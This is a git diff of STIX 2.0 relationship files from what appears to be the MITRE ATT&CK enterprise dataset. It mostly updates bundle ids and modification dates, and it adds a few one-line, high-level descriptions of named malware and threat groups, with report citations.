             "id": "relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
             "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
diff --git a/enterprise-attack/relationship/relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8.json b/enterprise-attack/relationship/relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8.json
index c4e2b3aaa3..d4b276e8fe 100644
--- a/enterprise-attack/relationship/relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8.json
+++ b/enterprise-attack/relationship/relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--33e2827c-f8b7-4e1b-b494-3e04495a2cd4",
+    "id": "bundle--85dbea79-d35a-4eea-9435-b82ce1954a80",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke can use HTTP or HTTPS for command and control to hard-coded C2 servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--a9bc7666-f637-4093-a5bb-4edb61710e45.json b/enterprise-attack/relationship/relationship--a9bc7666-f637-4093-a5bb-4edb61710e45.json
index 0ee0465513..f76caba2e3 100644
--- a/enterprise-attack/relationship/relationship--a9bc7666-f637-4093-a5bb-4edb61710e45.json
+++ b/enterprise-attack/relationship/relationship--a9bc7666-f637-4093-a5bb-4edb61710e45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--37e34e40-8d7e-4e90-9f34-b630eb505897",
+    "id": "bundle--243d08c2-f3ee-41bd-97bf-5f8ca9640c51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a9bc7666-f637-4093-a5bb-4edb61710e45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of remotely deleting files from victims.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4.json b/enterprise-attack/relationship/relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4.json
index ae2224e1ce..2cd82611e9 100644
--- a/enterprise-attack/relationship/relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4.json
+++ b/enterprise-attack/relationship/relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3975a023-ecdd-42fe-8110-0498829afc4a",
+    "id": "bundle--24292f37-5e35-414b-bc8d-a4535ddfc811",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak encrypts the message body of HTTP traffic with RC2 and Base64 encoding.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
diff --git a/enterprise-attack/relationship/relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593.json b/enterprise-attack/relationship/relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593.json
index b4ed35a2e1..a102416ab2 100644
--- a/enterprise-attack/relationship/relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593.json
+++ b/enterprise-attack/relationship/relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25433c88-8eaa-46db-9b3c-bea91d9c704f",
+    "id": "bundle--137c8feb-153c-45e0-a7a1-2fd88e3f8cb7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can inject a variety of payloads into processes dynamically chosen by the adversary.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6.json b/enterprise-attack/relationship/relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6.json
index 90149bae2b..3fa937cbdc 100644
--- a/enterprise-attack/relationship/relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6.json
+++ b/enterprise-attack/relationship/relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1fbd803-7a5b-45fd-9efb-c58e00ec9530",
+    "id": "bundle--f6b6ecbf-fd1b-47d3-b639-bd3fb4f21933",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aa80b239-dc67-4883-adfd-6a10e96c18c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935",
             "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
diff --git a/enterprise-attack/relationship/relationship--aabb13d6-a73b-42aa-8014-696b94ff2416.json b/enterprise-attack/relationship/relationship--aabb13d6-a73b-42aa-8014-696b94ff2416.json
new file mode 100644
index 0000000000..a5dcee26d5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--aabb13d6-a73b-42aa-8014-696b94ff2416.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6eebf98f-05e6-4b41-a13f-8c545d017f1f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--aabb13d6-a73b-42aa-8014-696b94ff2416",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER can execute commands from its C2 server.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134.json b/enterprise-attack/relationship/relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134.json
index 4c2996b041..d7eefc6857 100644
--- a/enterprise-attack/relationship/relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134.json
+++ b/enterprise-attack/relationship/relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c729365a-2d95-4b06-8e6b-0e87bbdc6d7a",
+    "id": "bundle--d25ef2a4-9254-4c1e-bbe3-6962f3431053",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor has the ability to create a reverse shell.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44.json b/enterprise-attack/relationship/relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44.json
index 27f8abde8f..c852220223 100644
--- a/enterprise-attack/relationship/relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44.json
+++ b/enterprise-attack/relationship/relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--60fae5d0-b72a-4b6f-966e-10e4cb8f69c7",
+    "id": "bundle--efacf5e9-aed3-4836-9f7c-71ee816b3abb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain the victim username and permissions.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798.json b/enterprise-attack/relationship/relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798.json
index c8f1867624..1c603f0ea3 100644
--- a/enterprise-attack/relationship/relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798.json
+++ b/enterprise-attack/relationship/relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5279fd41-7e0e-47ac-890a-e8ae17fb633a",
+    "id": "bundle--df86e5ff-45f8-4f90-b2c8-40f90c882df1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.042Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak malware installs itself as a service to provide persistence and SYSTEM privileges.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--ab069468-3dff-4c77-9293-adb0b2627a4e.json b/enterprise-attack/relationship/relationship--ab069468-3dff-4c77-9293-adb0b2627a4e.json
index 4638f536f5..deb3f4578b 100644
--- a/enterprise-attack/relationship/relationship--ab069468-3dff-4c77-9293-adb0b2627a4e.json
+++ b/enterprise-attack/relationship/relationship--ab069468-3dff-4c77-9293-adb0b2627a4e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a097b83d-905e-4e69-b70c-2938e261473a",
+    "id": "bundle--c95a867d-7a3d-455c-8afb-7e3bd347313a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
diff --git a/enterprise-attack/relationship/relationship--ab109b93-76a9-46da-8934-58751125fd1e.json b/enterprise-attack/relationship/relationship--ab109b93-76a9-46da-8934-58751125fd1e.json
new file mode 100644
index 0000000000..eb2ecb9d0a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ab109b93-76a9-46da-8934-58751125fd1e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1cbd01b0-2799-4b44-a287-db640b0f8239",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "enumerates local and domain users ",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b.json b/enterprise-attack/relationship/relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b.json
index d25076c66f..0f561cf420 100644
--- a/enterprise-attack/relationship/relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b.json
+++ b/enterprise-attack/relationship/relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2dee6ba0-7f25-4ab3-b976-744fdacc41f3",
+    "id": "bundle--abe256cd-b86f-4d3c-952b-5f353622b9f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab3ac76f-5ddc-44dc-bb2f-670d6bf08e0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon attempts to access the <code>ADMIN$</code>, <code>C$\\Windows</code>, <code>D$\\Windows</code>, and <code>E$\\Windows</code> shares on the victim with its current privileges.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb.json b/enterprise-attack/relationship/relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb.json
index be210b0a74..3e3915449c 100644
--- a/enterprise-attack/relationship/relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb.json
+++ b/enterprise-attack/relationship/relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e8a705e-c915-465d-82f6-422a89bbc437",
+    "id": "bundle--ef5d1965-a577-4a4e-a14e-1c915b7f42db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used WMI to steal credentials and execute backdoors at a future time.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--ab524992-5666-466b-8c12-ec79b269901b.json b/enterprise-attack/relationship/relationship--ab524992-5666-466b-8c12-ec79b269901b.json
index 5d837020c9..7daef6fc62 100644
--- a/enterprise-attack/relationship/relationship--ab524992-5666-466b-8c12-ec79b269901b.json
+++ b/enterprise-attack/relationship/relationship--ab524992-5666-466b-8c12-ec79b269901b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dab6c186-e991-4cb6-83a5-4ea365727f71",
+    "id": "bundle--d67ef6d7-88d4-4dc6-9e80-3b3825bd19fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab524992-5666-466b-8c12-ec79b269901b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6",
             "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
diff --git a/enterprise-attack/relationship/relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c.json b/enterprise-attack/relationship/relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c.json
index ecd73ca476..2e9c1d8554 100644
--- a/enterprise-attack/relationship/relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c.json
+++ b/enterprise-attack/relationship/relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c6583fe9-ddc1-48fb-873f-fcfb7f291571",
+    "id": "bundle--e1d9d307-b540-4b69-a21d-89ed8dbfe1a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
             "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
diff --git a/enterprise-attack/relationship/relationship--ab687dca-2741-4920-a71e-e0e0444809c5.json b/enterprise-attack/relationship/relationship--ab687dca-2741-4920-a71e-e0e0444809c5.json
index 090f55e36e..621bf48c4b 100644
--- a/enterprise-attack/relationship/relationship--ab687dca-2741-4920-a71e-e0e0444809c5.json
+++ b/enterprise-attack/relationship/relationship--ab687dca-2741-4920-a71e-e0e0444809c5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94cf9cb6-eca5-4a8e-a499-a99e36ba9386",
+    "id": "bundle--8f8d8a12-8cad-4677-b2f3-2c2c8d032a13",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab687dca-2741-4920-a71e-e0e0444809c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a.json b/enterprise-attack/relationship/relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a.json
index e526be5800..d0a209c349 100644
--- a/enterprise-attack/relationship/relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a.json
+++ b/enterprise-attack/relationship/relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4763c343-e7e9-469b-9cdc-2e9a52b4f01d",
+    "id": "bundle--06fe1d59-05ef-43f1-aff2-00e96c65f911",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.062Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3.json b/enterprise-attack/relationship/relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3.json
index 8cc06ad8a4..89181c9492 100644
--- a/enterprise-attack/relationship/relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3.json
+++ b/enterprise-attack/relationship/relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ffcddfd-d489-436f-9dd9-4a85c9fe054a",
+    "id": "bundle--bb384858-cb14-43ed-b460-8ecc638baacb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885",
             "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
diff --git a/enterprise-attack/relationship/relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8.json b/enterprise-attack/relationship/relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8.json
index 0b10e43992..6cf94edce9 100644
--- a/enterprise-attack/relationship/relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8.json
+++ b/enterprise-attack/relationship/relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75f3165a-0b24-4685-9560-7c599952a08a",
+    "id": "bundle--d552e544-fa1c-4222-ac0b-23f30f7241ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Ke3chang group has been known to compress data before exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef.json b/enterprise-attack/relationship/relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef.json
index d1243aeb00..f444e58b54 100644
--- a/enterprise-attack/relationship/relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef.json
+++ b/enterprise-attack/relationship/relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--72a87518-1aa0-422e-a25b-5f396617b7fc",
+    "id": "bundle--5d7a0ea1-8ef1-4667-9c02-b91e5a0a24d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of capturing keystrokes on victims.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760.json b/enterprise-attack/relationship/relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760.json
new file mode 100644
index 0000000000..5f00259fc2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--de75dadc-e839-4331-be01-4c291d7dfba0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
+            "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3.json b/enterprise-attack/relationship/relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3.json
index 88737a5547..5e063754d5 100644
--- a/enterprise-attack/relationship/relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3.json
+++ b/enterprise-attack/relationship/relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c72e838c-3ba0-4f86-a418-35b5e251b7ab",
+    "id": "bundle--c1ccc664-9500-46eb-bda3-3cf28b5cfc97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6.json b/enterprise-attack/relationship/relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6.json
new file mode 100644
index 0000000000..82ebded769
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b2154e96-e0d5-4ab3-bb41-c7ada5bb6bb0",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands remotely by creating a new schedule task on the remote system ",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
